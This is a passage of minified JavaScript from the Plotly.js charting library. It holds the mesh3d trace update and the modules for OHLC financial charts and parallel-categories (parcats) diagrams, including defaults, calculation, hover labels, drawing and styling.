v=b.x.length,T=t(l(i.xaxis,b.x,h.dataScale[0],b.xcalendar),l(i.yaxis,b.y,h.dataScale[1],b.ycalendar),l(i.zaxis,b.z,h.dataScale[2],b.zcalendar)),w;if(b.i&&b.j&&b.k){if(b.i.length!==b.j.length||b.j.length!==b.k.length||!y(b.i,v)||!y(b.j,v)||!y(b.k,v))return;w=t(u(b.i),u(b.j),u(b.k))}else b.alphahull===0?w=L(T):b.alphahull>0?w=o(b.alphahull,T):w=s(b.delaunayaxis,T);var E={positions:T,cells:w,lightPosition:[b.lightposition.x,b.lightposition.y,b.lightposition.z],ambient:b.lighting.ambient,diffuse:b.lighting.diffuse,specular:b.lighting.specular,roughness:b.lighting.roughness,fresnel:b.lighting.fresnel,vertexNormalsEpsilon:b.lighting.vertexnormalsepsilon,faceNormalsEpsilon:b.lighting.facenormalsepsilon,opacity:b.opacity,contourEnable:b.contour.show,contourColor:d(b.contour.color).slice(0,3),contourWidth:b.contour.width,useFacetNormals:b.flatshading};if(b.intensity){var p=g(b);this.color="#fff";var A=b.intensitymode;E[A+"Intensity"]=b.intensity,E[A+"IntensityBounds"]=[p.min,p.max],E.colormap=S(b)}else b.vertexcolor?(this.color=b.vertexcolor[0],E.vertexColors=a(b.vertexcolor)):b.facecolor?(this.color=b.facecolor[0],E.cellColors=a(b.facecolor)):(this.color=b.color,E.meshColor=d(b.color));this.mesh.update(E)},f.dispose=function(){this.scene.glplot.remove(this.mesh),this.mesh.dispose()};function c(b,h){var i=b.glplot.gl,v=M({gl:i}),T=new r(b,v,h.uid);return v._trace=T,T.update(h),b.glplot.add(v),T}te.exports=c},58669:function(te,Z,e){var M=e(73972),P=e(71828),o=e(1586),L=e(2418);te.exports=function(d,g,t,r){function f(y,c){return P.coerce(d,g,L,y,c)}function a(y){var c=y.map(function(b){var h=f(b);return h&&P.isArrayOrTypedArray(h)?h:null});return c.every(function(b){return b&&b.length===c[0].length})&&c}var l=a(["x","y","z"]);if(!l){g.visible=!1;return}if(a(["i","j","k"]),g.i&&(!g.j||!g.k)||g.j&&(!g.k||!g.i)||g.k&&(!g.i||!g.j)){g.visible=!1;return}var u=M.getComponentMethod("calendars","handleTraceDefaults");u(d,g,["x","y","z"],r),["lighting.ambient","lighting.diffuse","lighting.specular","lighting.roughness","lighting.fresnel","lighting.vertexnormalsepsilon","lighting.facenormalsepsilon","lightposition.x","lightposition.y","lightposition.z","flatshading","alphahull","delaunayaxis","opacity"].forEach(function(y){f(y)});var s=f("contour.show");s&&(f("contour.color"),f("contour.width")),"intensity"in d?(f("intensity"),f("intensitymode"),o(d,g,r,f,{prefix:"",cLetter:"c"})):(g.showscale=!1,"facecolor"in d?f("facecolor"):"vertexcolor"in d?f("vertexcolor"):f("color",t)),f("text"),f("hovertext"),f("hovertemplate"),f("xhoverformat"),f("yhoverformat"),f("zhoverformat"),g._length=null}},21164:function(te,Z,e){te.exports={attributes:e(2418),supplyDefaults:e(58669),calc:e(82932),colorbar:{min:"cmin",max:"cmax"},plot:e(91134),moduleType:"trace",name:"mesh3d",basePlotModule:e(58547),categories:["gl3d","showLegend"],meta:{}}},2522:function(te,Z,e){var M=e(71828).extendFlat,P=e(82196),o=e(12663).axisHoverFormat,L=e(79952).P,S=e(77914),d=e(22372),g=d.INCREASING.COLOR,t=d.DECREASING.COLOR,r=P.line;function f(a){return{line:{color:M({},r.color,{dflt:a}),width:r.width,dash:L,editType:"style"},editType:"style"}}te.exports={xperiod:P.xperiod,xperiod0:P.xperiod0,xperiodalignment:P.xperiodalignment,xhoverformat:o("x"),yhoverformat:o("y"),x:{valType:"data_array",editType:"calc+clearAxisTypes"},open:{valType:"data_array",editType:"calc"},high:{valType:"data_array",editType:"calc"},low:{valType:"data_array",editType:"calc"},close:{valType:"data_array",editType:"calc"},line:{width:M({},r.width,{}),dash:M({},L,{}),editType:"style"},increasing:f(g),decreasing:f(t),text:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},hovertext:{valType:"string",dflt:"",arrayOk:!0,editType:"calc"},tickwidth:{valType:"number",min:0,max:.5,dflt:.3,editType:"calc"},hoverlabel:M({},S.hoverlabel,{split:{valType:"boolean",dflt:!1,editType:"style"}})}},3485:function(te,Z,e){var M=e(71828),P=M._,o=e(89298),L=e(42973),S=e(50606).BADNUM;function d(f,a){var l=o.getFromId(f,a.xaxis),u=o.getFromId(f,a.yaxis),s=r(f,l,a),y=a._minDiff;a._minDiff=null;var c=a._origX;a._origX=null;var b=a._xcalc;a._xcalc=null;var h=t(f,a,c,b,u,g);return a._extremes[l._id]=o.findExtremes(l,b,{vpad:y/2}),h.length?(M.extendFlat(h[0].t,{wHover:y/2,tickLen:s}),h):[{t:{empty:!0}}]}function g(f,a,l,u){return{o:f,h:a,l,c:u}}function t(f,a,l,u,s,y){for(var c=s.makeCalcdata(a,"open"),b=s.makeCalcdata(a,"high"),h=s.makeCalcdata(a,"low"),i=s.makeCalcdata(a,"close"),v=Array.isArray(a.text),T=Array.isArray(a.hovertext),w=!0,E=null,p=!!a.xperiodalignment,A=[],m=0;m<u.length;m++){var n=u[m],C=c[m],x=b[m],I=h[m],k=i[m];if(n!==S&&C!==S&&x!==S&&I!==S&&k!==S){k===C?E!==null&&k!==E&&(w=k>E):w=k>C,E=k;var B=y(C,x,I,k);B.pos=n,B.yc=(C+k)/2,B.i=m,B.dir=w?"increasing":"decreasing",B.x=B.pos,B.y=[I,x],p&&(B.orig_p=l[m]),v&&(B.tx=a.text[m]),T&&(B.htx=a.hovertext[m]),A.push(B)}else A.push({pos:n,empty:!0})}return a._extremes[s._id]=o.findExtremes(s,M.concat(h,b),{padded:!0}),A.length&&(A[0].t={labels:{open:P(f,"open:")+" ",high:P(f,"high:")+" ",low:P(f,"low:")+" ",close:P(f,"close:")+" "}}),A}function r(f,a,l){var u=l._minDiff;if(!u){var s=f._fullData,y=[];u=1/0;var c;for(c=0;c<s.length;c++){var b=s[c];if(b.type==="ohlc"&&b.visible===!0&&b.xaxis===a._id){y.push(b);var h=a.makeCalcdata(b,"x");b._origX=h;var i=L(l,a,"x",h).vals;b._xcalc=i;var v=M.distinctVals(i).minDiff;v&&isFinite(v)&&(u=Math.min(u,v))}}for(u===1/0&&(u=1),c=0;c<y.length;c++)y[c]._minDiff=u}return u*l.tickwidth}te.exports={calc:d,calcCommon:t}},16169:function(te,Z,e){var M=e(71828),P=e(14555),o=e(73927),L=e(2522);te.exports=function(g,t,r,f){function a(u,s){return M.coerce(g,t,L,u,s)}var l=P(g,t,a,f);if(!l){t.visible=!1;return}o(g,t,f,a,{x:!0}),a("xhoverformat"),a("yhoverformat"),a("line.width"),a("line.dash"),S(g,t,a,"increasing"),S(g,t,a,"decreasing"),a("text"),a("hovertext"),a("tickwidth"),f._requestRangeslider[t.xaxis]=!0};function S(d,g,t,r){t(r+".line.color"),t(r+".line.width",g.line.width),t(r+".line.dash",g.line.dash)}},66449:function(te,Z,e){var M=e(89298),P=e(71828),o=e(30211),L=e(7901),S=e(71828).fillText,d=e(22372),g={increasing:d.INCREASING.SYMBOL,decreasing:d.DECREASING.SYMBOL};function t(l,u,s,y){var c=l.cd,b=c[0].trace;return b.hoverlabel.split?f(l,u,s,y):a(l,u,s,y)}function r(l,u,s,y){var c=l.cd,b=l.xa,h=c[0].trace,i=c[0].t,v=h.type,T=v==="ohlc"?"l":"min",w=v==="ohlc"?"h":"max",E,p,A=i.bPos||0,m=function(G){return G.pos+A-u},n=i.bdPos||i.tickLen,C=i.wHover,x=Math.min(1,n/Math.abs(b.r2c(b.range[1])-b.r2c(b.range[0])));E=l.maxHoverDistance-x,p=l.maxSpikeDistance-x;function I(G){var J=m(G);return o.inbox(J-C,J+C,E)}function k(G){var J=G[T],q=G[w];return J===q||o.inbox(J-s,q-s,E)}function B(G){return(I(G)+k(G))/2}var _=o.getDistanceFunction(y,I,k,B);if(o.getClosest(c,_,l),l.index===!1)return null;var F=c[l.index];if(F.empty)return null;var O=F.dir,z=h[O],N=z.line.color;return L.opacity(N)&&z.line.width?l.color=N:l.color=z.fillcolor,l.x0=b.c2p(F.pos+A-n,!0),l.x1=b.c2p(F.pos+A+n,!0),l.xLabelVal=F.orig_p!==void 0?F.orig_p:F.pos,l.spikeDistance=B(F)*p/E,l.xSpike=b.c2p(F.pos,!0),l}function f(l,u,s,y){var c=l.cd,b=l.ya,h=c[0].trace,i=c[0].t,v=[],T=r(l,u,s,y);if(!T)return[];var w=T.index,E=c[w],p=E.hi||h.hoverinfo,A=p.split("+"),m=p==="all",n=m||A.indexOf("y")!==-1;if(!n)return[];for(var C=["high","open","close","low"],x={},I=0;I<C.length;I++){var k=C[I],B=h[k][T.index],_=b.c2p(B,!0),F;B in x?(F=x[B],F.yLabel+="<br>"+i.labels[k]+M.hoverLabelText(b,B,h.yhoverformat)):(F=P.extendFlat({},T),F.y0=F.y1=_,F.yLabelVal=B,F.yLabel=i.labels[k]+M.hoverLabelText(b,B,h.yhoverformat),F.name="",v.push(F),x[B]=F)}return v}function a(l,u,s,y){var c=l.cd,b=l.ya,h=c[0].trace,i=c[0].t,v=r(l,u,s,y);if(!v)return[];var T=v.index,w=c[T],E=v.index=w.i,p=w.dir;function A(B){return i.labels[B]+M.hoverLabelText(b,h[B][E],h.yhoverformat)}var m=w.hi||h.hoverinfo,n=m.split("+"),C=m==="all",x=C||n.indexOf("y")!==-1,I=C||n.indexOf("text")!==-1,k=x?[A("open"),A("high"),A("low"),A("close")+"  "+g[p]]:[];return I&&S(w,h,k),v.extraText=k.join("<br>"),v.y0=v.y1=b.c2p(w.yc,!0),[v]}te.exports={hoverPoints:t,hoverSplit:f,hoverOnPoints:a}},54186:function(te,Z,e){te.exports={moduleType:"trace",name:"ohlc",basePlotModule:e(93612),categories:["cartesian","svg","showLegend"],meta:{},attributes:e(2522),supplyDefaults:e(16169),calc:e(3485).calc,plot:e(72314),style:e(53101),hoverPoints:e(66449).hoverPoints,selectPoints:e(67324)}},14555:function(te,Z,e){var M=e(73972),P=e(71828);te.exports=function(L,S,d,g){var t=d("x"),r=d("open"),f=d("high"),a=d("low"),l=d("close");d("hoverlabel.split");var u=M.getComponentMethod("calendars","handleTraceDefaults");if(u(L,S,["x"],g),!!(r&&f&&a&&l)){var s=Math.min(r.length,f.length,a.length,l.length);return t&&(s=Math.min(s,P.minRowLength(t))),S._length=s,s}}},72314:function(te,Z,e){var M=e(39898),P=e(71828);te.exports=function(L,S,d,g){var t=S.yaxis,r=S.xaxis,f=!!r.rangebreaks;P.makeTraceGroups(g,d,"trace ohlc").each(function(a){var l=M.select(this),u=a[0],s=u.t,y=u.trace;if(y.visible!==!0||s.empty){l.remove();return}var c=s.tickLen,b=l.selectAll("path").data(P.identity);b.enter().append("path"),b.exit().remove(),b.attr("d",function(h){if(h.empty)return"M0,0Z";var i=r.c2p(h.pos-c,!0),v=r.c2p(h.pos+c,!0),T=f?(i+v)/2:r.c2p(h.pos,!0),w=t.c2p(h.o,!0),E=t.c2p(h.h,!0),p=t.c2p(h.l,!0),A=t.c2p(h.c,!0);return"M"+i+","+w+"H"+T+"M"+T+","+E+"V"+p+"M"+v+","+A+"H"+T})})}},67324:function(te){te.exports=function(e,M){var P=e.cd,o=e.xaxis,L=e.yaxis,S=[],d,g=P[0].t.bPos||0;if(M===!1)for(d=0;d<P.length;d++)P[d].selected=0;else for(d=0;d<P.length;d++){var t=P[d];M.contains([o.c2p(t.pos+g),L.c2p(t.yc)],null,t.i,e)?(S.push({pointNumber:t.i,x:o.c2d(t.pos),y:L.c2d(t.yc)}),t.selected=1):t.selected=0}return S}},53101:function(te,Z,e){var M=e(39898),P=e(91424),o=e(7901);te.exports=function(S,d,g){var t=g||M.select(S).selectAll("g.ohlclayer").selectAll("g.trace");t.style("opacity",function(r){return r[0].trace.opacity}),t.each(function(r){var f=r[0].trace;M.select(this).selectAll("path").each(function(a){if(!a.empty){var l=f[a.dir].line;M.select(this).style("fill","none").call(o.stroke,l.color).call(P.dashLine,l.dash,l.width).style("opacity",f.selectedpoints&&!a.selected?.3:1)}})})}},99506:function(te,Z,e){var M=e(1426).extendFlat,P=e(9012),o=e(41940),L=e(50693),S=e(5386).fF,d=e(27670).Y,g=M({editType:"calc"},L("line",{editTypeOverride:"calc"}),{shape:{valType:"enumerated",values:["linear","hspline"],dflt:"linear",editType:"plot"},hovertemplate:S({editType:"plot",arrayOk:!1},{keys:["count","probability"]})});te.exports={domain:d({name:"parcats",trace:!0,editType:"calc"}),hoverinfo:M({},P.hoverinfo,{flags:["count","probability"],editType:"plot",arrayOk:!1}),hoveron:{valType:"enumerated",values:["category","color","dimension"],dflt:"category",editType:"plot"},hovertemplate:S({editType:"plot",arrayOk:!1},{keys:["count","probability","category","categorycount","colorcount","bandcolorcount"]}),arrangement:{valType:"enumerated",values:["perpendicular","freeform","fixed"],dflt:"perpendicular",editType:"plot"},bundlecolors:{valType:"boolean",dflt:!0,editType:"plot"},sortpaths:{valType:"enumerated",values:["forward","backward"],dflt:"forward",editType:"plot"},labelfont:o({editType:"calc"}),tickfont:o({editType:"calc"}),dimensions:{_isLinkedToArray:"dimension",label:{valType:"string",editType:"calc"},categoryorder:{valType:"enumerated",values:["trace","category ascending","category descending","array"],dflt:"trace",editType:"calc"},categoryarray:{valType:"data_array",editType:"calc"},ticktext:{valType:"data_array",editType:"calc"},values:{valType:"data_array",dflt:[],editType:"calc"},displayindex:{valType:"integer",editType:"calc"},editType:"calc",visible:{valType:"boolean",dflt:!0,editType:"calc"}},line:g,counts:{valType:"number",min:0,dflt:1,arrayOk:!0,editType:"calc"},customdata:void 0,hoverlabel:void 0,ids:void 0,legend:void 0,legendgroup:void 0,legendrank:void 0,opacity:void 0,selectedpoints:void 0,showlegend:void 0}},27677:function(te,Z,e){var M=e(27659).a0,P=e(45784),o="parcats";Z.name=o,Z.plot=function(L,S,d,g){var t=M(L.calcdata,o);if(t.length){var r=t[0];P(L,r,d,g)}},Z.clean=function(L,S,d,g){var t=g._has&&g._has("parcats"),r=S._has&&S._has("parcats");t&&!r&&g._paperdiv.selectAll(".parcats").remove()}},28699:function(te,Z,e){var M=e(28984).wrap,P=e(52075).hasColorscale,o=e(78803),L=e(75744),S=e(91424),d=e(71828),g=e(92770);te.exports=function(i,v){var T=d.filterVisible(v.dimensions);if(T.length===0)return[];var w=T.map(function(X){var W;if(X.categoryorder==="trace")W=null;else if(X.categoryorder==="array")W=X.categoryarray;else{W=L(X.values);for(var V=!0,Y=0;Y<W.length;Y++)if(!g(W[Y])){V=!1;break}W.sort(V?d.sorterAsc:void 0),X.categoryorder==="category descending"&&(W=W.reverse())}return s(X.values,W)}),E,p,A;d.isArrayOrTypedArray(v.counts)?E=v.counts:E=[v.counts],y(T),T.forEach(function(X,W){c(X,w[W])});var m=v.line,n;m?(P(v,"line")&&o(i,v,{vals:v.line.color,containerStr:"line",cLetter:"c"}),n=S.tryColorscale(m)):n=d.identity;function C(X){var W,V;return d.isArrayOrTypedArray(m.color)?(W=m.color[X%m.color.length],V=W):W=m.color,{color:n(W),rawColor:V}}var x=T[0].values.length,I={},k=w.map(function(X){return X.inds});A=0;var B,_;for(B=0;B<x;B++){var F=[];for(_=0;_<k.length;_++)F.push(k[_][B]);p=E[B%E.length],A+=p;var O=C(B),z=F+"-"+O.rawColor;I[z]===void 0&&(I[z]=l(F,O.color,O.rawColor)),u(I[z],B,p)}var N=T.map(function(X,W){return r(W,X._index,X._displayindex,X.label,A)});for(B=0;B<x;B++)for(p=E[B%E.length],_=0;_<N.length;_++){var G=N[_].containerInd,J=w[_].inds[B],q=N[_].categories;if(q[J]===void 0){var ne=v.dimensions[G]._categoryarray[J],fe=v.dimensions[G]._ticktext[J];q[J]=f(_,J,ne,fe)}a(q[J],B,p)}return M(t(N,I,A))};function t(h,i,v){var T=h.map(function(w){return w.categories.length}).reduce(function(w,E){return Math.max(w,E)});return{dimensions:h,paths:i,trace:void 0,maxCats:T,count:v}}function r(h,i,v,T,w){return{dimensionInd:h,containerInd:i,displayInd:v,dimensionLabel:T,count:w,categories:[],dragX:null}}function f(h,i,v,T){return{dimensionInd:h,categoryInd:i,categoryValue:v,displayInd:i,categoryLabel:T,valueInds:[],count:0,dragY:null}}function a(h,i,v){h.valueInds.push(i),h.count+=v}function l(h,i,v){return{categoryInds:h,color:i,rawColor:v,valueInds:[],count:0}}function u(h,i,v){h.valueInds.push(i),h.count+=v}function s(h,i){i==null?i=[]:i=i.map(function(n){return n});var v={},T={},w=[];i.forEach(function(n,C){v[n]=0,T[n]=C});for(var E=0;E<h.length;E++){var p=h[E],A;v[p]===void 0?(v[p]=1,A=i.push(p)-1,T[p]=A):(v[p]++,A=T[p]),w.push(A)}var m=i.map(function(n){return v[n]});return{uniqueValues:i,uniqueCounts:m,inds:w}}function y(h){var i=h.map(function(T){return T.displayindex}),v;if(b(i))for(v=0;v<h.length;v++)h[v]._displayindex=h[v].displayindex;else for(v=0;v<h.length;v++)h[v]._displayindex=v}function c(h,i){h._categoryarray=i.uniqueValues,h.ticktext===null||h.ticktext===void 0?h._ticktext=[]:h._ticktext=h.ticktext.slice();for(var v=h._ticktext.length;v<i.uniqueValues.length;v++)h._ticktext.push(i.uniqueValues[v])}function b(h){for(var i=new Array(h.length),v=0;v<h.length;v++){if(h[v]<0||h[v]>=h.length||i[h[v]]!==void 0)return!1;i[h[v]]=!0}return!0}},14647:function(te,Z,e){var M=e(71828),P=e(52075).hasColorscale,o=e(1586),L=e(27670).c,S=e(85501),d=e(99506),g=e(94397);function t(f,a,l,u,s){s("line.shape"),s("line.hovertemplate");var y=s("line.color",u.colorway[0]);if(P(f,"line")&&M.isArrayOrTypedArray(y)){if(y.length)return s("line.colorscale"),o(f,a,u,s,{prefix:"line.",cLetter:"c"}),y.length;a.line.color=l}return 1/0}function r(f,a){function l(i,v){return M.coerce(f,a,d.dimensions,i,v)}var u=l("values"),s=l("visible");if(u&&u.length||(s=a.visible=!1),s){l("label"),l("displayindex",a._index);var y=f.categoryarray,c=Array.isArray(y)&&y.length>0,b;c&&(b="array");var h=l("categoryorder",b);h==="array"?(l("categoryarray"),l("ticktext")):(delete f.categoryarray,delete f.ticktext),!c&&h==="array"&&(a.categoryorder="trace")}}te.exports=function(a,l,u,s){function y(v,T){return M.coerce(a,l,d,v,T)}var c=S(a,l,{name:"dimensions",handleItemDefaults:r}),b=t(a,l,u,s,y);L(l,s,y),(!Array.isArray(c)||!c.length)&&(l.visible=!1),g(l,c,"values",b),y("hoveron"),y("hovertemplate"),y("arrangement"),y("bundlecolors"),y("sortpaths"),y("counts");var h={family:s.font.family,size:Math.round(s.font.size),color:s.font.color};M.coerceFont(y,"labelfont",h);var i={family:s.font.family,size:Math.round(s.font.size/1.2),color:s.font.color};M.coerceFont(y,"tickfont",i)}},94873:function(te,Z,e){te.exports={attributes:e(99506),supplyDefaults:e(14647),calc:e(28699),plot:e(45784),colorbar:{container:"line",min:"cmin",max:"cmax"},moduleType:"trace",name:"parcats",basePlotModule:e(27677),categories:["noOpacity"],meta:{}}},45460:function(te,Z,e){var M=e(39898),P=e(81684).k4,o=e(72391),L=e(30211),S=e(71828),d=S.strTranslate,g=e(91424),t=e(84267),r=e(63893);function f(Y,Q,ie,j){var K=Q._context.staticPlot,oe=Y.map(ne.bind(0,Q,ie)),re=j.selectAll("g.parcatslayer").data([null]);re.enter().append("g").attr("class","parcatslayer").style("pointer-events",K?"none":"all");var le=re.selectAll("g.trace.parcats").data(oe,a),pe=le.enter().append("g").attr("class","trace parcats");le.attr("transform",function(Be){return d(Be.x,Be.y)}),pe.append("g").attr("class","paths");var we=le.select("g.paths"),xe=we.selectAll("path.path").data(function(Be){return Be.paths},a);xe.attr("fill",function(Be){return Be.model.color});var ke=xe.enter().append("path").attr("class","path").attr("stroke-opacity",0).attr("fill",function(Be){return Be.model.color}).attr("fill-opacity",0);i(ke),xe.attr("d",function(Be){return Be.svgD}),ke.empty()||xe.sort(u),xe.exit().remove(),xe.on("mouseover",s).on("mouseout",y).on("click",h),pe.append("g").attr("class","dimensions");var _e=le.select("g.dimensions"),be=_e.selectAll("g.dimension").data(function(Be){return Be.dimensions},a);be.enter().append("g").attr("class","dimension"),be.attr("transform",function(Be){return d(Be.x,0)}),be.exit().remove();var ge=be.selectAll("g.category").data(function(Be){return Be.categories},a),Te=ge.enter().append("g").attr("class","category");ge.attr("transform",function(Be){return d(0,Be.y)}),Te.append("rect").attr("class","catrect").attr("pointer-events","none"),ge.select("rect.catrect").attr("fill","none").attr("width",function(Be){return Be.width}).attr("height",function(Be){return Be.height}),w(Te);var Fe=ge.selectAll("rect.bandrect").data(function(Be){return Be.bands},a);Fe.each(function(){S.raiseToTop(this)}),Fe.attr("fill",function(Be){return Be.color});var Oe=Fe.enter().append("rect").attr("class","bandrect").attr("stroke-opacity",0).attr("fill",function(Be){return Be.color}).attr("fill-opacity",0);Fe.attr("fill",function(Be){return Be.color}).attr("width",function(Be){return Be.width}).attr("height",function(Be){return Be.height}).attr("y",function(Be){return Be.y}).attr("cursor",function(Be){return Be.parcatsViewModel.arrangement==="fixed"?"default":Be.parcatsViewModel.arrangement==="perpendicular"?"ns-resize":"move"}),p(Oe),Fe.exit().remove(),Te.append("text").attr("class","catlabel").attr("pointer-events","none");var Ce=Q._fullLayout.paper_bgcolor;ge.select("text.catlabel").attr("text-anchor",function(Be){return l(Be)?"start":"end"}).attr("alignment-baseline","middle").style("text-shadow",r.makeTextShadow(Ce)).style("fill","rgb(0, 0, 0)").attr("x",function(Be){return l(Be)?Be.width+5:-5}).attr("y",function(Be){return Be.height/2}).text(function(Be){return Be.model.categoryLabel}).each(function(Be){g.font(M.select(this),Be.parcatsViewModel.categorylabelfont),r.convertToTspans(M.select(this),Q)}),Te.append("text").attr("class","dimlabel"),ge.select("text.dimlabel").attr("text-anchor","middle").attr("alignment-baseline","baseline").attr("cursor",function(Be){return Be.parcatsViewModel.arrangement==="fixed"?"default":"ew-resize"}).attr("x",function(Be){return Be.width/2}).attr("y",-5).text(function(Be,$e){return $e===0?Be.parcatsViewModel.model.dimensions[Be.model.dimensionInd].dimensionLabel:null}).each(function(Be){g.font(M.select(this),Be.parcatsViewModel.labelfont)}),ge.selectAll("rect.bandrect").on("mouseover",_).on("mouseout",F),ge.exit().remove(),be.call(M.behavior.drag().origin(function(Be){return{x:Be.x,y:0}}).on("dragstart",O).on("drag",z).on("dragend",N)),le.each(function(Be){Be.traceSelection=M.select(this),Be.pathSelection=M.select(this).selectAll("g.paths").selectAll("path.path"),Be.dimensionSelection=M.select(this).selectAll("g.dimensions").selectAll("g.dimension")}),le.exit().remove()}te.exports=function(Y,Q,ie,j){f(ie,Y,j,Q)};function a(Y){return Y.key}function l(Y){var Q=Y.parcatsViewModel.dimensions.length,ie=Y.parcatsViewModel.dimensions[Q-1].model.dimensionInd;return Y.model.dimensionInd===ie}function u(Y,Q){return Y.model.rawColor>Q.model.rawColor?1:Y.model.rawColor<Q.model.rawColor?-1:0}function s(Y){if(!Y.parcatsViewModel.dragDimension&&Y.parcatsViewModel.hoverinfoItems.indexOf("skip")===-1){S.raiseToTop(this),v(M.select(this));var Q=c(Y),ie=b(Y);if(Y.parcatsViewModel.graphDiv.emit("plotly_hover",{points:Q,event:M.event,constraints:ie}),Y.parcatsViewModel.hoverinfoItems.indexOf("none")===-1){var j=M.mouse(this)[0],K=Y.parcatsViewModel.graphDiv,oe=Y.parcatsViewModel.trace,re=K._fullLayout,le=re._paperdiv.node().getBoundingClientRect(),pe=Y.parcatsViewModel.graphDiv.getBoundingClientRect(),we,xe,ke;for(ke=0;ke<Y.leftXs.length-1;ke++)if(Y.leftXs[ke]+Y.dimWidths[ke]-2<=j&&j<=Y.leftXs[ke+1]+2){var _e=Y.parcatsViewModel.dimensions[ke],be=Y.parcatsViewModel.dimensions[ke+1];we=(_e.x+_e.width+be.x)/2,xe=(Y.topYs[ke]+Y.topYs[ke+1]+Y.height)/2;break}var ge=Y.parcatsViewModel.x+we,Te=Y.parcatsViewModel.y+xe,Fe=t.mostReadable(Y.model.color,["black","white"]),Oe=Y.model.count,Ce=Oe/Y.parcatsViewModel.model.count,Be={countLabel:Oe,probabilityLabel:Ce.toFixed(3)},$e=[];Y.parcatsViewModel.hoverinfoItems.indexOf("count")!==-1&&$e.push(["Count:",Be.countLabel].join(" ")),Y.parcatsViewModel.hoverinfoItems.indexOf("probability")!==-1&&$e.push(["P:",Be.probabilityLabel].join(" "));var Xe=$e.join("<br>"),Ze=M.mouse(K)[0];L.loneHover({trace:oe,x:ge-le.left+pe.left,y:Te-le.top+pe.top,text:Xe,color:Y.model.color,borderColor:"black",fontFamily:'Monaco, "Courier New", monospace',fontSize:10,fontColor:Fe,idealAlign:Ze<ge?"right":"left",hovertemplate:(oe.line||{}).hovertemplate,hovertemplateLabels:Be,eventData:[{data:oe._input,fullData:oe,count:Oe,probability:Ce}]},{container:re._hoverlayer.node(),outerContainer:re._paper.node(),gd:K})}}}function y(Y){if(!Y.parcatsViewModel.dragDimension&&(i(M.select(this)),L.loneUnhover(Y.parcatsViewModel.graphDiv._fullLayout._hoverlayer.node()),Y.parcatsViewModel.pathSelection.sort(u),Y.parcatsViewModel.hoverinfoItems.indexOf("skip")===-1)){var Q=c(Y),ie=b(Y);Y.parcatsViewModel.graphDiv.emit("plotly_unhover",{points:Q,event:M.event,constraints:ie})}}function c(Y){for(var Q=[],ie=G(Y.parcatsViewModel),j=0;j<Y.model.valueInds.length;j++){var K=Y.model.valueInds[j];Q.push({curveNumber:ie,pointNumber:K})}return Q}function b(Y){for(var Q={},ie=Y.parcatsViewModel.model.dimensions,j=0;j<ie.length;j++){var K=ie[j],oe=K.categories[Y.model.categoryInds[j]];Q[K.containerInd]=oe.categoryValue}return Y.model.rawColor!==void 0&&(Q.color=Y.model.rawColor),Q}function h(Y){if(Y.parcatsViewModel.hoverinfoItems.indexOf("skip")===-1){var Q=c(Y),ie=b(Y);Y.parcatsViewModel.graphDiv.emit("plotly_click",{points:Q,event:M.event,constraints:ie})}}function i(Y){Y.attr("fill",function(Q){return Q.model.color}).attr("fill-opacity",.6).attr("stroke","lightgray").attr("stroke-width",.2).attr("stroke-opacity",1)}function v(Y){Y.attr("fill-opacity",.8).attr("stroke",function(Q){return t.mostReadable(Q.model.color,["black","white"])}).attr("stroke-width",.3)}function T(Y){Y.select("rect.catrect").attr("stroke","black").attr("stroke-width",2.5)}function w(Y){Y.select("rect.catrect").attr("stroke","black").attr("stroke-width",1).attr("stroke-opacity",1)}function E(Y){Y.attr("stroke","black").attr("stroke-width",1.5)}function p(Y){Y.attr("stroke","black").attr("stroke-width",.2).attr("stroke-opacity",1).attr("fill-opacity",1)}function A(Y){var Q=Y.parcatsViewModel.pathSelection,ie=Y.categoryViewModel.model.dimensionInd,j=Y.categoryViewModel.model.categoryInd;return Q.filter(function(K){return K.model.categoryInds[ie]===j&&K.model.color===Y.color})}function m(Y){var Q=M.select(Y.parentNode).selectAll("rect.bandrect");Q.each(function(ie){var j=A(ie);v(j),j.each(function(){S.raiseToTop(this)})}),T(M.select(Y.parentNode))}function n(Y){var Q=M.select(Y).datum(),ie=A(Q);v(ie),ie.each(function(){S.raiseToTop(this)}),M.select(Y.parentNode).selectAll("rect.bandrect").filter(function(j){return j.color===Q.color}).each(function(){S.raiseToTop(this),E(M.select(this))})}function C(Y,Q,ie){var j=M.select(Y).datum(),K=j.categoryViewModel.model,oe=j.parcatsViewModel.graphDiv,re=M.select(Y.parentNode).selectAll("rect.bandrect"),le=[];re.each(function(we){var xe=A(we);xe.each(function(ke){Array.prototype.push.apply(le,c(ke))})});var pe={};pe[K.dimensionInd]=K.categoryValue,oe.emit(Q,{points:le,event:ie,constraints:pe})}function x(Y,Q,ie){var j=M.select(Y).datum(),K=j.categoryViewModel.model,oe=j.parcatsViewModel.graphDiv,re=A(j),le=[];re.each(function(we){Array.prototype.push.apply(le,c(we))});var pe={};pe[K.dimensionInd]=K.categoryValue,j.rawColor!==void 0&&(pe.color=j.rawColor),oe.emit(Q,{points:le,event:ie,constraints:pe})}function I(Y,Q,ie){Y._fullLayout._calcInverseTransform(Y);var j=Y._fullLayout._invScaleX,K=Y._fullLayout._invScaleY,oe=M.select(ie.parentNode).select("rect.catrect"),re=oe.node().getBoundingClientRect(),le=oe.datum(),pe=le.parcatsViewModel,we=pe.model.dimensions[le.model.dimensionInd],xe=pe.trace,ke=re.top+re.height/2,_e,be;pe.dimensions.length>1&&we.displayInd===pe.dimensions.length-1?(_e=re.left,be="left"):(_e=re.left+re.width,be="right");var ge=le.model.count,Te=le.model.categoryLabel,Fe=ge/le.parcatsViewModel.model.count,Oe={countLabel:ge,categoryLabel:Te,probabilityLabel:Fe.toFixed(3)},Ce=[];le.parcatsViewModel.hoverinfoItems.indexOf("count")!==-1&&Ce.push(["Count:",Oe.countLabel].join(" ")),le.parcatsViewModel.hoverinfoItems.indexOf("probability")!==-1&&Ce.push(["P("+Oe.categoryLabel+"):",Oe.probabilityLabel].join(" "));var Be=Ce.join("<br>");return{trace:xe,x:j*(_e-Q.left),y:K*(ke-Q.top),text:Be,color:"lightgray",borderColor:"black",fontFamily:'Monaco, "Courier New", monospace',fontSize:12,fontColor:"black",idealAlign:be,hovertemplate:xe.hovertemplate,hovertemplateLabels:Oe,eventData:[{data:xe._input,fullData:xe,count:ge,category:Te,probability:Fe}]}}function k(Y,Q,ie){var j=[];return M.select(ie.parentNode.parentNode).selectAll("g.category").select("rect.catrect").each(function(){var K=this;j.push(I(Y,Q,K))}),j}function B(Y,Q,ie){Y._fullLayout._calcInverseTransform(Y);var 